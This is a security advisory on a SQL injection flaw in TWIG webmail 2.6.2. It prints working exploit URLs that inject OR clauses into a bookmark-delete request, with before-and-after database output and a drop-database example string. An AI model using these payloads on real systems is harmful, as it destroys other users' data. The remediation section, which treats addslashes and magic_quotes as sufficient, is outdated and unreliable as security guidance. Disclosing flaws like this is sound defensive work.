COMMAND
Twig
SYSTEMS AFFECTED
Twig 2.6.2 and below (used with MySQL, others not checked)
PROBLEM
Luki Rustianto found following. Unquoted SQL query string is a
little mistake that could lead to potential damage. TWIG free
PHP Webmail system is affected. As we know, mysql accept unquoted
query string if the field type is int, mediumint, tinyint or like.
The query:
DELETE FROM mytable WHERE id='1' AND owner='karet'
have the same effect with:
DELETE FROM mytable WHERE id=1 AND owner='karet'
However additional caution must be made if variable 'id' values
on above example is a user suplied data thus could make that user
to have control over sql query and made a modified version of
query like:
DELETE FROM mytable WHERE id=1 OR id=2 OR id=3 AND owner='karet'
~~~~~~~~~~~~~~~~
(modified value)
the modified query string above, ofcourse, have diferent meanings
value of "$id=1" is changed to "$id=1 OR id=2 OR id=3".
Doing
grep -r "WHERE id=" <TWIG installation dir>/lib/*
will output LOT of intresting informations of which function has
query string match our need - this may varies depend on TWIG
version you have.
Some of them:
groups/personal.groups.inc.php3:
$query = "UPDATE " . $dbconfig["groups_table"] . " SET groupname='" .
$newname . "' WHERE id=" . $groupid;
[... lots other]
schedule/schedule.edit.inc.php3:
$query = "DELETE FROM " . $dbconfig["schedule_table"] . " WHERE id = " .
$data["id"] . " AND (" . $groupquery . ")";
[... lots other]
... and other files.
Or if you really want to clearly see and debug every query made by
TWIG then with help of query system on TWIG it can be done
easilly. TWIG has a function named 'dbQuery' that always called
on every sql query request (if used with mysql it's on
<twig dir>/lib/db/mysql.db.inc.php3). Add the following code at
the top of Function dbQuery( $statement ) to be like (with TWIG
2.6.2):
[SNIP]
$fp = fopen ("/tmp/twig_sql.log", "a");
fwrite ($fp, $statement);
fclose($fp);
[/SNIP]
so every sql request string will be appended to file
"/tmp/twig_sql.log". >From that file you can see every action
performed and audit it.
We will try to delete other user mysql data, in this example
'bookmarks' data. Same action can be made on other data like
'contact' or else ... You must have existing data before
change/deleted others, so add it first.
Login as usuall user account ('eca' in this example) and go to
'bookmarks' option and choose 'edit'. View the page source and
find the important value [cutted to only view string we
interested]:
<==>
<hr><form action=/webmail/index.php3 method=POST>
<input type=hidden name=twig_sid value="983392539-1-eca">
<input type=hidden name=twig_cid value="983392539-14-eca">
<input type=hidden name=data[id] value=3>
<input type=hidden name=ItemID value=3>
<==>
<select name=data[groupid]>
<option value=0 >Unfiled</option>
<==>
<input type=submit name=submitbutton[delete] value="Delete">
<==>
The url could be different looks depend on what type of
authentication you use. We used sqltable type, if you use
cookies type then the url may *much* longer than this!
Construct the exploit url,
Actual url: http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392414-1-eca&twig_cid=983392414-14-eca&ItemID=3
Change it to: http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392539-1-eca&twig_cid=983392539-14-eca&ItemID=2&data[groupid]=0&submitbutton[delete]=Delete&data[id]=2%20or%20id%3d2
NOTE:
- we change string: ItemID=3 to ItemID=2
- we added string: "&data[groupid]=0&submitbutton[delete]=Delete&data[id]=2%20or%20id%3d2"
~~~~~~~~~~~~~~
(this is it)
Or for more damage (deleting all data):
http://192.168.0.18/webmail/index.php3?ts=983393006&twig_sid=983393050-1-eca&twig_cid=983393050-14-eca&ItemID=2&data[id]=2%20or%20groupid%3d0&data[groupid]=0&submitbutton[delete]=Delete
~~~~~~~~~~~~~~~~~~~
(this is it)
so the sql query would change from:
DELETE FROM twig_bookmarks WHERE id=3 AND groupid=0 AND username='eca'
to:
DELETE FROM twig_bookmarks WHERE id=2 or id=2 AND groupid=0 AND username='eca'
or for more damage:
DELETE FROM twig_bookmarks WHERE id=2 or groupid=0 AND groupid=0 AND username='eca'
From mysql console before the exploit:
mysql> select id,username,groupid,url from twig_bookmarks;
+----+----------+---------+-------+
| id | username | groupid | url |
+----+----------+---------+-------+
| 1 | pohenk | 0 | zzzz |
| 2 | pohenk | 0 | yyyyy |
| 3 | eca | 0 | aaaa |
+----+----------+---------+-------+
3 rows in set (0.21 sec)
From mysql console after the exploit:
mysql> select id,username,groupid,url from twig_bookmarks;
+----+----------+---------+--------+
| id | username | groupid | url |
+----+----------+---------+--------+
| 1 | pohenk | 0 | zzzz |
| 3 | eca | 0 | aaaa |
+----+----------+---------+--------+
2 rows in set (0.02 sec)
as user 'eca' we could delete/update user 'pohenk' data or else.
SOLUTION
There are two workarounds:
1) Force number fields to be numbers via type casting. Example:
$query="SELECT field,otherfield from table where ID='" . ((int)$IDNumber) . "'";
2) Always use addslashes() to any form posted variable. Example:
$query="SELECT field,otherfield from table where ID='" . addslashes($IDNumber) . "'";
PHP used to have an option to automatically use addslashes() on
any variable passed to it via POST or GET. Please see your
PHP.INI file and set the appropriate setting for
"magic_quotes_gpc".
The only malicious character in an SQL query executed from php is
'. If you have for example:
select * from kokos where user='$user'
and
$user=';drop database totos;'
then the SQL query will be:
select * from kokos where user=';drop database totos;'
and that's ONE SQL statement. The ; inside the quotes is simply
part of a STRING. The only way to get out of a string is with a '
and the ' gets stripped out with addslashes.
If the user supplied variable isn't treated as a string but as
part of the SQL statement then you have to escape ; as well.
The problem with magic_quotes_gpc is that it is a global variable
in PHP. Many sysadmins turn it off because they may be using a
program that requires them not to be escaped.
If your service provider allows you to have customized .htaccess
file(s), placing this line
php_value magic_quotes_gpc 1
in the file will ensure magic_quotes_gpc is turned on (or off).